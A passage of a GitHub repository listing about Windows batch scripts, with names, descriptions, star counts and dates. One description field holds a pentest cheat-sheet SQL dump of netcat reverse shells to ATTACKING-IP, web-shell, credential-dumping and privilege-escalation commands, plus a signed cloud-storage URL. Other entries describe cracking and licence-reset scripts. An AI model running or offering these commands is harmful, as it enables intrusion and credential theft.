-ios12checker/Windows-Maintenance-Tool,https://github.com/ios12checker/Windows-Maintenance-Tool,"A powerful, all-in-one Windows maintenance toolkit built entirely in Batch & PowerShell. Designed for power users, sysadmins, and curious tinkerers – now smarter, safer, and fully offline-compatible.",1324,78,PowerShell,2025-06-09T01:23:09Z,2026-06-15T00:04:24Z -npocmaka/batch.scripts,https://github.com/npocmaka/batch.scripts,batch script utils and examples by npocmaka -,1132,880,Batchfile,2014-04-18T17:53:07Z,2026-06-04T17:50:09Z -Aetherinox/pause-windows-updates,https://github.com/Aetherinox/pause-windows-updates,Pause & disable Windows updates for any duration. Remove Recall / Copilot. Debloat / privacy / telemetry tools. Supports Windows 10 and 11.,830,46,Batchfile,2023-08-31T14:26:26Z,2026-06-14T04:45:03Z -boxcutter/windows,https://github.com/boxcutter/windows,Virtual machine templates for Windows written in legacy JSON and Batch Scripting/JScript,770,263,Ruby,2015-02-13T03:29:15Z,2026-06-14T22:06:04Z -K3V1991/ADB-and-FastbootPlusPlus,https://github.com/K3V1991/ADB-and-FastbootPlusPlus,A small Application for Windows that allows you to install the latest Version of ADB and Fastboot Files on the Computer without installing the entire Android SDK Package + Toolkit & Commands,734,94,Batchfile,2022-05-24T10:06:00Z,2026-06-15T11:04:29Z -illsk1lls/ZipRipper,https://github.com/illsk1lls/ZipRipper,"A CMD script to crack password protected ZIP, RAR, 7z and PDF files, using JohnTheRipper.",730,104,Batchfile,2023-12-27T05:29:37Z,2026-06-15T06:54:38Z -HaveAGitGat/HBBatchBeast,https://github.com/HaveAGitGat/HBBatchBeast,"A free GUI application for HandBrake and FFmpeg/FFprobe with an emphasis on batch conversion (including recursive folder scans and folder watching) -Windows, macOS, Linux & Docker",705,57,HTML,2019-01-12T07:09:53Z,2026-06-12T16:40:16Z -enjoiz/Privesc,https://github.com/enjoiz/Privesc,Windows batch script that finds misconfiguration issues which can lead to privilege escalation.,683,103,PowerShell,2015-11-19T13:22:01Z,2026-06-13T09:51:42Z -semazurek/ET-Optimizer,https://github.com/semazurek/ET-Optimizer,"ET is a powerful application to improve performance, debloat, optimize and enhance privacy for Windows 10/11.",592,46,C#,2021-06-18T21:14:22Z,2026-06-12T09:52:00Z -slorelee/wimbuilder2,https://github.com/slorelee/wimbuilder2,wimbuilder with new UI & new syntax (hta+bat+vbs+js),580,117,Batchfile,2018-06-24T06:33:48Z,2026-06-14T05:26:36Z -diogo-fernan/ir-rescue,https://github.com/diogo-fernan/ir-rescue,A Windows Batch script and a Unix Bash script to comprehensively collect host forensic data during incident response.,489,91,Batchfile,2016-08-02T21:01:45Z,2026-06-07T12:23:53Z -TairikuOokami/Windows,https://github.com/TairikuOokami/Windows,Windows,485,95,Batchfile,2021-03-28T13:59:24Z,2026-06-11T08:32:12Z -rossy/mpv-install,https://github.com/rossy/mpv-install,Sets up file associations for mpv on Windows,468,47,Batchfile,2015-02-24T15:00:45Z,2026-06-15T04:48:40Z -davidmarble/virtualenvwrapper-win,https://github.com/davidmarble/virtualenvwrapper-win,Port of Doug Hellmann's virtualenvwrapper to Windows batch scripts,459,103,Batchfile,2011-01-10T20:08:13Z,2026-04-02T16:29:02Z -richhost/pixzip-lite,https://github.com/richhost/pixzip-lite,Easy to use batch image compression software. Powered by Svelte 5 🧡 Electron. 简单易用的批量图片压缩软件，使用 Svelte 5、Electron 构建。,428,20,Svelte,2022-12-31T06:35:58Z,2026-05-26T23:41:13Z -MajorGeek/MajorGeeks-Windows-Tweaks,https://github.com/MajorGeek/MajorGeeks-Windows-Tweaks,"MajorGeeks Windows Tweaks contains well over 200 registry, PowerShell, Visual Basic, and batch files to enable tweaks and hidden features in Windows 10, 8, and 7 for any skill level.",410,36,,2020-07-07T18:37:01Z,2026-06-09T19:33:29Z -vmavromatis/gnome-layout-manager,https://github.com/vmavromatis/gnome-layout-manager,"A bash script that batch installs and tweaks GNOME extensions as well as GTK/Shell themes. There are currently three options available: Unity, Windows and macOS.",401,39,Shell,2017-04-17T11:02:55Z,2026-06-01T11:30:38Z -TheBATeam/Batch-WI-FI-Brute-Forcer,https://github.com/TheBATeam/Batch-WI-FI-Brute-Forcer,"This project is based upon the trick that, how to hack WI-FI with CMD. The main purpose behind, creating wifi hacking tool with cmd tool is to make everyone aware that how easy it is to break a simple password. And, motivate them to keep some complex passwords – to keep them protected against it.",370,191,Batchfile,2020-05-16T09:15:23Z,2026-06-06T04:41:09Z -KingKDot/SomalifuscatorV2,https://github.com/KingKDot/SomalifuscatorV2,Most advanced and poorly coded windows batch obfuscator ever made (aka the best),357,46,Python,2022-09-23T00:46:51Z,2026-06-14T08:17:47Z -ph33nx/WinMasterBlocker,https://github.com/ph33nx/WinMasterBlocker,"Block Adobe, Autodesk, Corel and other apps from the internet on Windows. Single batch script, MIT, no third-party tools.",346,37,Batchfile,2024-10-24T23:08:26Z,2026-06-09T18:00:00Z -vogeljo/reset-vassistx,https://github.com/vogeljo/reset-vassistx,A small batch script for resetting Visual Assist X's trial period.,339,100,Batchfile,2016-11-15T20:08:47Z,2026-06-12T08:58:49Z -xxmichibxx/Batch-CIA-3DS-Decryptor-Redux,https://github.com/xxmichibxx/Batch-CIA-3DS-Decryptor-Redux,"Decrypting Nintendo 3DS games and applications (.3ds, .cia)",339,21,Batchfile,2023-11-28T21:43:39Z,2026-06-15T05:58:04Z -warengonzaga/wifi-passview,https://github.com/warengonzaga/wifi-passview,An open source batch script based WiFi Passview for Windows!,337,76,Batchfile,2018-02-05T21:00:56Z,2026-06-11T03:35:00Z -tytsxai/IDM-Activation-Script-Chinese,https://github.com/tytsxai/IDM-Activation-Script-Chinese,GPL-3.0 开源的 IDM Activation Script 中文版：Windows 批处理脚本，支持 IDM 试用期冻结、普通激活、重置和环境自检,337,22,Batchfile,2025-10-05T19:44:49Z,2026-06-15T11:02:35Z -kaic/win-post-install,https://github.com/kaic/win-post-install,A web-based tool that generates customized Windows post-installation batch scripts. Select from 100+ software applications and 80+ system configurations to create a personalized Windows setup script.,334,18,JavaScript,2025-12-01T20:43:03Z,2026-06-11T00:46:26Z -TheBobPony/MSEdgeTweaker,https://github.com/TheBobPony/MSEdgeTweaker,"Easily configure Microsoft Edge, the way you want it!",310,12,Batchfile,2024-06-14T17:04:37Z,2026-06-14T03:24:38Z -shenwei356/brename,https://github.com/shenwei356/brename,A practical cross-platform command-line tool for safely batch renaming files/directories via regular expression,298,21,Go,2013-09-06T07:48:12Z,2026-04-12T17:01:31Z -FoxP/PNG-to-ICO,https://github.com/FoxP/PNG-to-ICO,"KISS batch script to easily convert PNG, GIF, BMP, SVG or JPG images to multi-resolution ICO files using ImageMagick.",288,31,Batchfile,2018-03-10T20:18:32Z,2026-06-05T06:03:10Z -iKineticate/LinkEcho,https://github.com/iKineticate/LinkEcho,"随心批量更换/恢复快捷方式图标，个性化自定义图标设计 ( Batch replace/restore shortcuts icons as you wish, personalized custom icon design)",283,10,Rust,2024-04-16T12:05:13Z,2026-06-10T10:11:58Z -cjee21/Check-UEFISecureBootVariables,https://github.com/cjee21/Check-UEFISecureBootVariables,"PowerShell scripts to check the UEFI KEK, DB and DBX Secure Boot variables as well as scripts for other Secure Boot related items.",263,18,PowerShell,2024-02-14T08:44:04Z,2026-06-15T09:57:55Z -matej137/OutlookRemover,https://github.com/matej137/OutlookRemover,a little batch file that permanently removes the Outlook (New) app from Windows 10/11,259,21,Batchfile,2024-04-17T14:40:06Z,2026-06-10T13:12:51Z -patrickfav/density-converter,https://github.com/patrickfav/density-converter,"A multi platform image density converting tool converting single or batches of images to Android, iOS, Windows or CSS specific formats and density versions given the source scale factor or width/height in dp. It has a graphical and command line interface and supports many image types (svg, psd, 9-patch, etc.) aswell as some lossless compressors like pngcrush.",252,31,Java,2016-02-25T23:31:35Z,2026-04-26T17:11:53Z -ancel1x/Ancels-Performance-Batch,https://github.com/ancel1x/Ancels-Performance-Batch,Open Source Tweaker made to improve system performance and lower system latency.,251,22,Batchfile,2023-02-05T18:19:47Z,2026-06-05T20:57:15Z -daniel-sc/bash-shell-to-bat-converter,https://github.com/daniel-sc/bash-shell-to-bat-converter,Converter for bash shell scripts to windows batch files.,243,46,TypeScript,2019-10-15T19:21:37Z,2026-04-19T02:19:27Z -Espionage724/Windows,https://github.com/Espionage724/Windows,Various batch files for Windows,228,57,Batchfile,2017-05-01T09:00:20Z,2026-06-14T05:19:46Z -stbrenner/SilentCMD,https://github.com/stbrenner/SilentCMD,SilentCMD executes a batch file without opening the command prompt window.,224,23,C#,2016-04-04T21:38:48Z,2026-06-15T08:21:24Z -yornaath/batshit,https://github.com/yornaath/batshit,A batch manager that will deduplicate and batch requests for a certain data type made within a window. Useful to batch requests made from multiple react components that uses react-query,218,6,TypeScript,2022-12-22T12:29:10Z,2026-06-12T09:07:17Z -Ivan-Ayub97/Warlock-Studio,https://github.com/Ivan-Ayub97/Warlock-Studio,"Suite for Windows with Real-ESRGAN, RealESRNet, RealESRAnime, BSRGAN , IRCNN, GFPGAN & RIFE. Upscaling, face restoration, frame interpolation, denoising, batch processing & GPU acceleration in one tool.",216,18,Python,2025-05-17T06:59:10Z,2026-06-15T07:58:46Z -shoober420/windows11-scripts,https://github.com/shoober420/windows11-scripts,Windows 11 Scripts,212,31,Batchfile,2023-07-28T21:26:41Z,2026-06-12T17:30:40Z -vegardit/cygwin-portable-installer,https://github.com/vegardit/cygwin-portable-installer,Windows batch file to perform unattended installations of a portable Cygwin environment.,211,42,Batchfile,2017-06-17T11:42:38Z,2026-05-13T22:35:22Z -blackrosezy/build-libcurl-windows,https://github.com/blackrosezy/build-libcurl-windows,Batch script to download and build libcurl (using Visual Studio compiler),210,75,HTML,2013-05-26T12:54:58Z,2026-04-03T12:26:57Z -ManuelGil/Script-Reset-Windows-Update-Tool,https://github.com/ManuelGil/Script-Reset-Windows-Update-Tool,This script reset the Windows Update Components.,201,48,Batchfile,2017-04-11T03:59:07Z,2026-06-09T01:01:16Z -freshe/poddl,https://github.com/freshe/poddl,Podcast Downloader - Download all podcasts / episodes from an RSS-feed,196,19,C++,2019-04-16T11:08:08Z,2026-06-14T09:00:23Z -prestonsn/windows-10-activation-script,https://github.com/prestonsn/windows-10-activation-script,A Windows batch file that tries Windows activation keys found around the internet.,192,80,Batchfile,2019-08-02T20:18:08Z,2026-05-30T01:58:01Z -dehoisted/Bat2Exe,https://github.com/dehoisted/Bat2Exe,Windows user interface for converting your batch files into executables.,192,29,C#,2021-07-15T17:06:15Z,2026-06-04T20:38:13Z -auspbro/batch-snippets,https://github.com/auspbro/batch-snippets,常用批处理,178,67,Batchfile,2015-10-28T05:41:07Z,2026-02-09T15:07:04Z -yanncam/exe2powershell,https://github.com/yanncam/exe2powershell,exe2powershell - exe2bat reborn for modern Windows,177,44,C++,2016-03-02T11:23:32Z,2026-06-13T09:51:42Z -wieslawsoltes/BatchEncoder,https://github.com/wieslawsoltes/BatchEncoder,BatchEncoder is an audio files conversion software.,175,18,C++,2017-01-07T06:25:25Z,2026-04-25T20:57:33Z -Andrew-J-Larson/OS-Scripts,https://github.com/Andrew-J-Larson/OS-Scripts,This is where I'll put my custom scripts/functions that might be useful in future projects of mine.,168,35,PowerShell,2019-09-01T18:45:46Z,2026-06-12T17:29:30Z -SkyEmie/batch-obfuscator,https://github.com/SkyEmie/batch-obfuscator,Easy way to obfuscate windows batch files (demo),167,29,PHP,2019-05-23T22:21:42Z,2026-05-11T17:46:59Z -DosX-dev/BatchToApp,https://github.com/DosX-dev/BatchToApp,Convert your .bat/.cmd scripts to .exe and protect (obfuscate) them with BatchToApp!,167,9,Visual Basic .NET,2024-06-17T20:41:59Z,2026-06-12T18:06:46Z -w3c/libwww,https://github.com/w3c/libwww,"Libwww is a highly modular, general-purpose client side Web API written in C for Unix and Windows (Win32). It's well suited for both small and large applications, like browser/editors, robots, batch tools, etc. Pluggable modules provided with libwww include complete HTTP/1.1 (with caching, pipelining, PUT, POST, Digest Authentication, deflate, etc), MySQL logging, FTP, HTML/4, XML (expat), RDF (SiRPAC), WebDAV, and much more. The purpose of libwww is to serve as a testbed for protocol experiments. This is a complete mirror of the libwww CVS repository",163,35,C,2013-02-01T18:27:43Z,2026-05-01T09:45:50Z -GChuf/RCWM,https://github.com/GChuf/RCWM,"Right Click Windows Magic is an open-source set of right-click (context) menu tools for admins, power users and other magic beings. Batch&Powershell.",159,8,PowerShell,2020-08-15T12:56:11Z,2026-06-10T21:21:00Z -JaredCabot/OneDrive-Uninstaller,https://github.com/JaredCabot/OneDrive-Uninstaller,Batch script to completely uninstall OneDrive in Windows 10,157,41,Batchfile,2016-07-22T15:31:39Z,2026-05-12T14:14:13Z -C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver,https://github.com/C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver,Windows SteamCMD to autoupdate and install any game server steam cmd settings configurable lots of useful features. This batch script will keep your game servers automaticly updated updating intervals announce the server is shutting down for updates etc all configurable.,157,30,Batchfile,2015-05-01T23:34:22Z,2026-06-11T03:27:30Z -ricardorodrigues-ca/zoom-recording-downloader,https://github.com/ricardorodrigues-ca/zoom-recording-downloader,Downloads and organizes all cloud recordings from your Zoom Business account,156,83,Python,2020-04-26T04:57:53Z,2026-06-14T15:03:29Z -fengyunkkx/FolderIconTool,https://github.com/fengyunkkx/FolderIconTool,One tool for Windows folder icon batch modify. | 一个批量修改 Windows 文件夹图标的小工具。,154,17,Python,2017-10-30T12:37:23Z,2026-06-09T06:23:39Z -AxtMueller/Windows-Batch-Deployment,https://github.com/AxtMueller/Windows-Batch-Deployment,A programmable and rootkit-like Windows remote access tool.,149,51,,2020-03-18T17:21:28Z,2026-06-03T07:51:44Z -KnightDanila/BAT_FFMPEG,https://github.com/KnightDanila/BAT_FFMPEG,"Batch script files for FFMPEG (Microsoft Windows and DOS, OS/2 :unicorn:)",139,30,Batchfile,2018-08-24T15:01:55Z,2026-05-05T08:47:10Z -Don-No7/Hack-SQL,https://github.com/Don-No7/Hack-SQL,"-- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (5, 'Name-That-Hash', 'Find the hash type of a string', 'nth --text ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (6, 'Name-That-Hash', 'Find the hash type of a file', 'nth --file ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (7, 'Nmap', 'scan for vulnerabilites', 'nmap --script vuln ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (8, 'Nikto', 'Scan host for vulnerabilites', 'nikto -h ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (9, 'SMBClient', 'check for misconfigured anonymous login', 'smbclient -L \\\\', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (10, 'Hydra', 'Brutforce a webpage looking for usernames', 'hydra -l -p 123 http-post-form ''/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (11, 'SMBMap', 'enumerates SMB file shares', 'smbmap -u -p -H ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (12, 'WPScan', 'Enumerate Wordpress website', 'wpscan --url --enumerate --plugins-detection', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (13, 'WPScan', 'enumerate though known usernames', 'wpscan --url --usernames --passwords wordlist.dic', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (14, 'PowerShell', 'bypass execution policy', 'powershell.exe -exec bypass', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (15, 'TheHarvester', 'gathering informaiton from online sources', 'theharvester -d -l <#> -g -b google', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (16, 'Netcat', 'open a listener', 'nc -lvnp ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (17, 'Netcat', 'Connect to computer', 'nc ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (18, 'GoBuster', 'Eunmerate directories on a website with a cookie', 'gobuster dir -u http:// -w -x -c PHPSESSID=', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (19, 'SQLMap', 'map sql at an IP', 'sqlmap -r --batch --force-ssl', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (20, 'John the Ripper', 'Use wordlist to parse hash', 'john --wordlist=', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (21, 'John the Ripper', 'unencrypt shadow file', 'john ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (22, 'Unshadow', 'combine /etc/passwd and /etc/shadow file for cracking', 'unshadow ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m -a 0 -o --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet /// -U ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u ""http://meh.com/form/"" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb -u -p --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb -u '''' -p '''' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb -u '''' -p '''' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec -u '''' -p '''' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan -A -P', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w: ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep ""report for"" | cut -d "" "" -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="""" ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u """" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u ""?id=1>"" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '', 'execute code via url', '?cmd='); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c ""import pty;pty.spawn(''/bin/sh'');""', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i ""auto"" |findstr /i /v ""c:\windows\\"" |findstr /i /v """"""', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) 